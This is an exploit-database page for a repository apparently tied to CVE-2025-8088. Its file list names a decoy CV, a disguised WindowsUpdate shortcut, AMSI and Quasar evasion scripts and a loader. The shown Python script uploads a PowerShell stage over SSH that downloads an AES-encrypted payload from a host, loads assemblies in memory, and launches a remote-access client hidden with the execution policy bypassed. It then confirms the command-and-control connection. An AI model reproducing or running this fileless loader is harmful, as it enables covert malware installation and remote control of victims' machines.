Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files52
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Renamer/
- Alicia_Sheree_CV_2026.pdf
- WindowsUpdate.lnk
- build_attack_rar.py
- build_payload_bin.py
- check_after_login.py
- check_deep.py
- check_dll_vm.py
- check_pids.py
- debug_ps_lnk.py
- evade_quasar.ps1
- evade_quasar.py
- exploit.rar
- fix_lnk.py
- fix_lnk2.py
- fix_lnk3.py
- fix_lnk4.py
- gen_lnk.py
- install_dotnet35.py
- loader.exe
- payload_evaded.bin
- rebuild_and_test.py
- rebuild_and_test_v2.py
- test_amsi.py
- test_amsi_evaded.py
- test_amsi_evaded_v2.py
- test_amsi_evaded_v3.py
- test_amsi_final.py
- test_amsi_only.py
- test_amsi_retry.py
- test_bytes_load.py
- test_clean_lnk.py
- test_csharp_loader.py
- test_fixed.py
- test_full_chain.py
- test_full_chain_v2.py
- test_lnk_cmd.py
- test_loadfrom.py
- test_mem.py
- test_mem_full.py
- test_mem_sta.py
- test_opt3.py
- test_opt3b.py
- test_psv2.py
- test_psv2_check.py
- test_psv2_check2.py
- test_psv2_final.py
- test_psv2_v2.py
- test_psv2_v3.py
- test_reboot_auto.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage02_PowerShell/exploit/test_mem_full.py
Python · 2,952 bytesimport paramiko, time
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)
ssh.exec_command('taskkill /f /im powershell.exe 2>nul')
time.sleep(2)
# Full in-memory PS script
ps1 = r'''
# AES decrypt payload.bin
$wc = New-Object System.Net.WebClient
$enc = $wc.DownloadData("http://192.168.30.1:8000/payload.bin")
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = [byte[]]@(0xeb,0x13,0x8f,0x4d,0xe0,0x7c,0x65,0xcc,0x44,0xd1,0xc5,0x37,0x11,0x59,0x23,0x2a,0xc7,0xa3,0x0b,0x24,0x05,0x17,0xb2,0x4b,0x06,0xa9,0x5c,0x5c,0xf6,0x8e,0x03,0x52)
$aes.IV = [byte[]]@(0xf2,0x83,0x74,0x45,0xaa,0x81,0xf9,0x39,0x8f,0xfd,0x54,0xab,0x5a,0x6a,0xc4,0xa6)
$dec = $aes.CreateDecryptor().TransformFinalBlock($enc, 0, $enc.Length)
# Parse bundle: [count:4] + [nameLen:4][name][dataLen:4][data]...
$pos = 0
$count = [System.BitConverter]::ToUInt32($dec, $pos); $pos += 4
$mainBytes = $null
$depBytes = @{}
for ($i = 0; $i -lt $count; $i++) {
$nameLen = [System.BitConverter]::ToUInt32($dec, $pos); $pos += 4
$name = [System.Text.Encoding]::UTF8.GetString($dec, $pos, $nameLen); $pos += $nameLen
$dataLen = [System.BitConverter]::ToUInt32($dec, $pos); $pos += 4
$peData = $dec[$pos..($pos+$dataLen-1)]; $pos += $dataLen
if ($name -eq "client.exe") {
$mainBytes = $peData
} else {
$depBytes[$name] = $peData
}
}
# Load dependencies first (so they're in AppDomain when main assembly needs them)
foreach ($key in $depBytes.Keys) {
[System.Reflection.Assembly]::Load($depBytes[$key]) | Out-Null
}
# Load main assembly and invoke entry point
$main = [System.Reflection.Assembly]::Load($mainBytes)
$main.EntryPoint.Invoke($null, ([string[]]@()))
# Keep alive if EntryPoint returns (Application.Run should block, but just in case)
while ($true) { Start-Sleep -Seconds 10 }
'''
sftp = ssh.open_sftp()
with sftp.open('C:\\Users\\Public\\load_mem.ps1', 'w') as f:
f.write(ps1)
sftp.close()
print('[+] PS script uploaded')
channel = ssh.get_transport().open_session()
channel.settimeout(120)
channel.exec_command(
'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
'-File "C:\\Users\\Public\\load_mem.ps1"'
)
time.sleep(50)
stdin,stdout,stderr = ssh.exec_command('tasklist /FI "IMAGENAME eq powershell.exe" 2>nul', timeout=5)
r = stdout.read().decode('gbk', errors='replace')
alive = 'powershell.exe' in r and '没有' not in r
print('PS:', 'RUNNING' if alive else 'NOT FOUND')
stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782"', timeout=5)
c2 = stdout.read().decode('gbk', errors='replace').strip()
print('C2:', c2[:400] if c2 else 'NONE')
if 'ESTABLISHED' in c2: print('*** FULL IN-MEMORY C2! ***')
channel.close()
ssh.close()